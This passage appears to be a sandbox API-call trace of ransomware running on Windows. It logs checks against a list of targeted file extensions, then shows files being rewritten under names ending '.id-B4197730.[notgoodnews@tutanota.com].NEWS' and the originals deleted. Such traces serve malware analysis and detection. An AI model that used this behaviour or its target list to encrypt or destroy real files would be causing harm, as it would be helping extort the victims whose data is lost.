(lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.455] lstrlenW (lpString=".dbf") returned 4 [0064.455] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.455] lstrlenW (lpString=".1cd") returned 4 [0064.455] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.455] lstrlenW (lpString=".jpg") returned 4 [0064.455] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.455] lstrlenW (lpString=".doc") returned 4 [0064.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString=".docx") returned 5 [0064.455] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.455] lstrlenW (lpString=".pdf") returned 4 [0064.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.455] lstrlenW (lpString=".xls") returned 4 [0064.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.456] lstrlenW (lpString=".xlsx") returned 5 [0064.456] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.456] lstrlenW (lpString=".ppt") returned 4 [0064.456] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.456] lstrlenW (lpString=".zip") returned 4 [0064.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.456] lstrlenW (lpString=".rar") returned 4 [0064.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.456] lstrlenW (lpString=".bz2") returned 4 [0064.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.456] lstrlenW (lpString=".7z") returned 3 [0064.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.456] lstrlenW (lpString=".dbf") returned 4 [0064.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.456] lstrlenW (lpString=".1cd") returned 4 [0064.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0064.456] lstrlenW (lpString=".jpg") returned 4 [0064.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.456] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.456] lstrlenW (lpString="eula.rtf") returned 8 [0064.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.456] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=5827) returned 1 [0064.457] CloseHandle (hObject=0x2f4) returned 1 [0064.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0064.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.457] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.457] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.458] GetLastError () returned 0x0 [0064.458] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x16c3, lpOverlapped=0x0) returned 1 [0064.460] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0064.461] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.461] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0064.461] SetEndOfFile (hFile=0x35c) returned 1 [0064.461] CloseHandle (hObject=0x35c) returned 1 [0064.462] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.462] SetEndOfFile (hFile=0x2f4) returned 1 [0064.463] CloseHandle (hObject=0x2f4) returned 1 [0064.463] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.463] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0064.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.463] lstrlenW (lpString=".doc") returned 4 [0064.464] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString=".docx") returned 5 [0064.464] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.464] lstrlenW (lpString=".pdf") returned 4 [0064.464] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString=".xls") returned 4 [0064.464] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.464] lstrlenW (lpString=".xlsx") returned 5 [0064.464] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.464] lstrlenW (lpString=".ppt") returned 4 [0064.464] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.464] lstrlenW (lpString=".zip") returned 4 [0064.464] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.464] lstrlenW (lpString=".rar") returned 4 [0064.464] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString=".bz2") returned 4 [0064.464] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString=".7z") returned 3 [0064.464] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.464] lstrlenW (lpString=".dbf") returned 4 [0064.464] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.464] lstrlenW (lpString=".1cd") returned 4 [0064.464] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.464] lstrlenW (lpString=".jpg") returned 4 [0064.464] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.464] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.464] lstrlenW (lpString=".doc") returned 4 [0064.464] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0064.464] lstrlenW (lpString=".docx") returned 5 [0064.464] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0064.464] lstrlenW (lpString=".pdf") returned 4 [0064.465] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0064.465] lstrlenW (lpString=".xls") returned 4 [0064.465] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0064.465] lstrlenW (lpString=".xlsx") returned 5 [0064.465] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0064.465] lstrlenW (lpString=".ppt") returned 4 [0064.465] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0064.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.465] lstrlenW (lpString=".zip") returned 4 [0064.465] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0064.465] lstrlenW (lpString=".rar") returned 4 [0064.465] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0064.465] lstrlenW (lpString=".bz2") returned 4 [0064.465] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0064.465] lstrlenW (lpString=".7z") returned 3 [0064.465] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0064.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.465] lstrlenW (lpString=".dbf") returned 4 [0064.465] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0064.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.465] lstrlenW (lpString=".1cd") returned 4 [0064.465] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0064.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0064.465] lstrlenW (lpString=".jpg") returned 4 [0064.465] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0064.465] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.465] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.465] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.466] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=60684) returned 1 [0064.466] CloseHandle (hObject=0x2f4) returned 1 [0064.466] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0064.466] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.466] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.466] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.466] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.466] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.467] GetLastError () returned 0x0 [0064.467] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xed0c, lpOverlapped=0x0) returned 1 [0064.469] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xed10, lpOverlapped=0x0) returned 1 [0064.471] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.471] WriteFile (in: hFile=0x35c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.471] SetEndOfFile (hFile=0x35c) returned 1 [0064.471] CloseHandle (hObject=0x35c) returned 1 [0064.473] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.473] SetEndOfFile (hFile=0x2f4) returned 1 [0064.474] CloseHandle (hObject=0x2f4) returned 1 [0064.474] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.475] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0064.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.475] lstrlenW (lpString=".doc") returned 4 [0064.475] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.475] lstrlenW (lpString=".docx") returned 5 [0064.475] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.475] lstrlenW (lpString=".pdf") returned 4 [0064.475] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.475] lstrlenW (lpString=".xls") returned 4 [0064.475] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.475] lstrlenW (lpString=".xlsx") returned 5 [0064.475] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.475] lstrlenW (lpString=".ppt") returned 4 [0064.475] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.475] lstrlenW (lpString=".zip") returned 4 [0064.475] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.475] lstrlenW (lpString=".rar") returned 4 [0064.475] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.475] lstrlenW (lpString=".bz2") returned 4 [0064.475] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.475] lstrlenW (lpString=".7z") returned 3 [0064.475] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.475] lstrlenW (lpString=".dbf") returned 4 [0064.475] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString=".1cd") returned 4 [0064.476] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString=".jpg") returned 4 [0064.476] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString=".doc") returned 4 [0064.476] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString=".docx") returned 5 [0064.476] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.476] lstrlenW (lpString=".pdf") returned 4 [0064.476] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString=".xls") returned 4 [0064.476] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString=".xlsx") returned 5 [0064.476] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.476] lstrlenW (lpString=".ppt") returned 4 [0064.476] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString=".zip") returned 4 [0064.476] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.476] lstrlenW (lpString=".rar") returned 4 [0064.476] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString=".bz2") returned 4 [0064.476] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString=".7z") returned 3 [0064.476] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString=".dbf") returned 4 [0064.476] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString=".1cd") returned 4 [0064.476] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0064.476] lstrlenW (lpString=".jpg") returned 4 [0064.476] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.477] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.477] lstrlenW (lpString="eula.rtf") returned 8 [0064.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.066] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4015) returned 1 [0065.066] CloseHandle (hObject=0x344) returned 1 [0065.066] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0065.066] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0065.066] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.066] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.067] GetLastError () returned 0x0 [0065.067] ReadFile (in: hFile=0x344, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xfaf, lpOverlapped=0x0) returned 1 [0065.071] WriteFile (in: hFile=0x378, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xfb0, lpOverlapped=0x0) returned 1 [0065.072] ReadFile (in: hFile=0x344, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.072] WriteFile (in: hFile=0x378, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0065.073] SetEndOfFile (hFile=0x378) returned 1 [0065.073] CloseHandle (hObject=0x378) returned 1 [0065.074] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.074] SetEndOfFile (hFile=0x344) returned 1 [0065.075] CloseHandle (hObject=0x344) returned 1 [0065.075] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.076] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0065.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.076] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.076] lstrlenW (lpString=".doc") returned 4 [0065.076] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0065.076] lstrlenW (lpString=".docx") returned 5 [0065.076] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0065.076] lstrlenW (lpString=".pdf") returned 4 [0065.077] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0065.077] lstrlenW (lpString=".xls") returned 4 [0065.077] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0065.077] lstrlenW (lpString=".xlsx") returned 5 [0065.077] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0065.077] lstrlenW (lpString=".ppt") returned 4 [0065.077] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0065.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.077] lstrlenW (lpString=".zip") returned 4 [0065.077] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0065.077] lstrlenW (lpString=".rar") returned 4 [0065.077] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0065.077] lstrlenW (lpString=".bz2") returned 4 [0065.077] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0065.077] lstrlenW (lpString=".7z") returned 3 [0065.077] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0065.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.077] lstrlenW (lpString=".dbf") returned 4 [0065.077] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0065.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.077] lstrlenW (lpString=".1cd") returned 4 [0065.077] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0065.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.077] lstrlenW (lpString=".jpg") returned 4 [0065.077] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0065.077] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.078] lstrlenW (lpString=".doc") returned 4 [0065.078] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0065.078] lstrlenW (lpString=".docx") returned 5 [0065.078] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0065.078] lstrlenW (lpString=".pdf") returned 4 [0065.078] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0065.078] lstrlenW (lpString=".xls") returned 4 [0065.078] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0065.078] lstrlenW (lpString=".xlsx") returned 5 [0065.078] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0065.078] lstrlenW (lpString=".ppt") returned 4 [0065.078] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0065.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.078] lstrlenW (lpString=".zip") returned 4 [0065.078] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0065.078] lstrlenW (lpString=".rar") returned 4 [0065.078] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0065.078] lstrlenW (lpString=".bz2") returned 4 [0065.078] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0065.078] lstrlenW (lpString=".7z") returned 3 [0065.078] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0065.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.078] lstrlenW (lpString=".dbf") returned 4 [0065.078] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0065.078] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.078] lstrlenW (lpString=".1cd") returned 4 [0065.078] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0065.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0065.079] lstrlenW (lpString=".jpg") returned 4 [0065.079] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0065.079] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") 